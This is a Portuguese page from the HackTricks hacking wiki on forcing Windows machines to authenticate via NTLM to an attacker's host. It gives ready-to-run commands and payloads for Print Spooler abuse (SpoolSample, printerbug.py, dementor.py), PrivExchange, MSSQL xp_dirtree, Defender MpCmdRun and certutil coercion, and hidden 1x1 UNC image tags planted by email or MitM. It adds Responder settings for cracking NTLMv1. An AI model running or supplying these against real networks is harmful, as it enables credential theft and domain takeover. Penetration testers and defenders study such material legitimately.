hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

6.6 KiB

Forçar Autenticação Privilegiada NTLM

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

SharpSystemTriggers

SharpSystemTriggers é uma coleção de gatilhos de autenticação remota codificados em C# usando o compilador MIDL para evitar dependências de terceiros.

Abuso do Serviço Spooler

Se o serviço Print Spooler estiver habilitado, você pode usar algumas credenciais AD já conhecidas para solicitar ao servidor de impressão do Controlador de Domínio uma atualização sobre novos trabalhos de impressão e simplesmente dizer para enviar a notificação para algum sistema.
Observe que quando a impressora envia a notificação para sistemas arbitrários, ela precisa se autenticar contra esse sistema. Portanto, um atacante pode fazer com que o serviço Print Spooler se autentique contra um sistema arbitrário, e o serviço usará a conta do computador nessa autenticação.

Encontrando Servidores Windows no domínio

Usando o PowerShell, obtenha uma lista de máquinas Windows. Os servidores geralmente têm prioridade, então vamos focar neles:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Encontrando serviços Spooler ouvindo

Usando uma versão ligeiramente modificada do SpoolerScanner de @mysmartlogin (Vincent Le Toux), verifique se o Serviço Spooler está ouvindo:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Você também pode usar o rpcdump.py no Linux e procurar pelo Protocolo MS-RPRN.

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Solicitar que o serviço se autentique em um host arbitrário

Você pode compilar SpoolSample daqui.

SpoolSample.exe <TARGET> <RESPONDERIP>

ou use dementor.py de 3xocyte ou printerbug.py se estiver no Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinando com Delegação Não Restrita

Se um atacante já comprometeu um computador com Delegação Não Restrita, o atacante poderia fazer a impressora autenticar-se neste computador. Devido à delegação não restrita, o TGT da conta de computador da impressora será salvo na memória do computador com delegação não restrita. Como o atacante já comprometeu este host, ele será capaz de recuperar este ticket e abusá-lo (Pass the Ticket).

Autenticação Forçada RCP

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

O ataque PrivExchange é resultado de uma falha encontrada na funcionalidade de PushSubscription do Exchange Server. Esta funcionalidade permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a autenticar-se em qualquer host fornecido pelo cliente via HTTP.

Por padrão, o serviço Exchange é executado como SYSTEM e possui privilégios excessivos (especificamente, possui privilégios WriteDacl no domínio antes da Atualização Cumulativa de 2019). Essa falha pode ser explorada para permitir o encaminhamento de informações para o LDAP e, posteriormente, extrair o banco de dados NTDS do domínio. Em casos onde o encaminhamento para o LDAP não é possível, essa falha ainda pode ser usada para encaminhar e autenticar-se em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Administrador de Domínio com qualquer conta de usuário de domínio autenticada.

Dentro do Windows

Se você já estiver dentro da máquina Windows, você pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

Ou use esta outra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

É possível usar o lolbin certutil.exe (binário assinado pela Microsoft) para forçar a autenticação NTLM:

certutil.exe -syncwithWU  \\127.0.0.1\share

Injeção de HTML

Via email

Se você conhece o endereço de e-mail do usuário que faz login em uma máquina que deseja comprometer, você pode simplesmente enviar a ele um e-mail com uma imagem 1x1 como:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

MitM

Se você conseguir realizar um ataque MitM a um computador e injetar HTML em uma página que ele visualizar, você pode tentar injetar uma imagem como a seguinte na página:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Quebrando o NTLMv1

Se você conseguir capturar desafios NTLMv1 leia aqui como quebrá-los.
Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"